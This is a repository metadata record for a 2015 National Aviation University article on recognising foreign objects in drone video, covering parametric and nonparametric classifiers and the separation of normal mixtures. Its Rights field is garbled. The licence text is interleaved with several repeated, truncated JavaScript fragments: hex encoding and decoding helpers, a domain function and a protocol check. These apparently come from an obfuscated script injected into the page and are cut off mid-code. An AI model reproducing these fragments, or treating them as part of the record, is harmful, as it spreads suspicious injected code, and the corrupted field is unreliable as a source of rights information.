Record Details

Математичне забезпечення розпізнавання чужорідного об’єкта на відео з безпілотного повітряного судна

Наукові журнали Національного Авіаційного Університету

View Archive Info
 
 
Field Value
 
Title Математичне забезпечення розпізнавання чужорідного об’єкта на відео з безпілотного повітряного судна
Математическое обеспечение распознавания чужеродного объекта на видео с беспилотного летательного аппарата
THE MATHEMATICAL FOUNDATIONS OF FOREIGN OBJECT RECOGNITION IN THE VIDEO FROM UNMANNED AIRCRAFT
 
Creator Prystavka, Philip; National Aviation University
Rogatyuk, Anastasia; National Aviation University
 
Subject
ідентифікація об’єктів; метод розпізнавання; обробка відео; розділення суміші
629.7.014.066-519:004.93(045)

идентификация объектов; методы распознавания; обработка видео; разделение смеси
629.7.014.066-519:004.93(045)

objects identification; recognition methods; separating mixtures; video processing
629.7.014.066-519:004.93(045)
 
Description Проаналізовано класичні методи розпізнавання об’єктів і явищ. Виділено основні завдання при створенні системи розпізнавання. Розглянуто параметричні і непараметричні методи, такі як метод максимальної правдоподібності, баєсівський критерій, гістограмний, метод Парзена, правило найближчого сусіда. На основі аналізу класичних методів виявлена необхідність і сформульована постановка задачі розпізнавання в режимі близького до реального часу об’єктів на відео. В рамках етапів ідентифікації розглянуто ітераційний метод розділення суміші нормального розподілу, оснований на гістограмній оцінці.
Проанализированы классические методы распознавания объектов и явлений. Выделены основные задачи при создании системы распознавания. Рассмотрены параметрические и непараметрические методы, такие как метод максимального правдоподобия, байесовский критерий, гистограммный, метод Парзена, правила ближайшего соседа. На основе анализа классических методов выделена необходимость и сформулирована постановка задачи распознавания в режиме близкого к реальному времени объектов на видео. В рамках этапов идентификации рассмотрен итерационный метод разделение смеси нормальных распределений, основанный на гистограммной оценке.
The paper considers an analysis of object and phenomena recognition methods. We focus at the main problems of objects recognition in real-time in the video. As part of identification procedure paper considers separating mixtures of normal distributions iterative method which based on histogram estimation method.
 
Publisher National Aviation University
 
Contributor


 
Date 2015-10-13
 
Type


 
Format application/pdf
application/pdf
application/pdf
 
Identifier http://jrnl.nau.edu.ua/index.php/visnik/article/view/9048
10.18372/2306-1472.64.9048
 
Source Proceedings of the National Aviation University; Том 64, № 3 (2015); 133-139
Вестник Национального авиационного университета; Том 64, № 3 (2015); 133-139
Вісник Національного Авіаційного Університету; Том 64, № 3 (2015); 133-139
 
Language uk
 
Rights // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
 

Технічна підтримка: НДІІТТ НАУ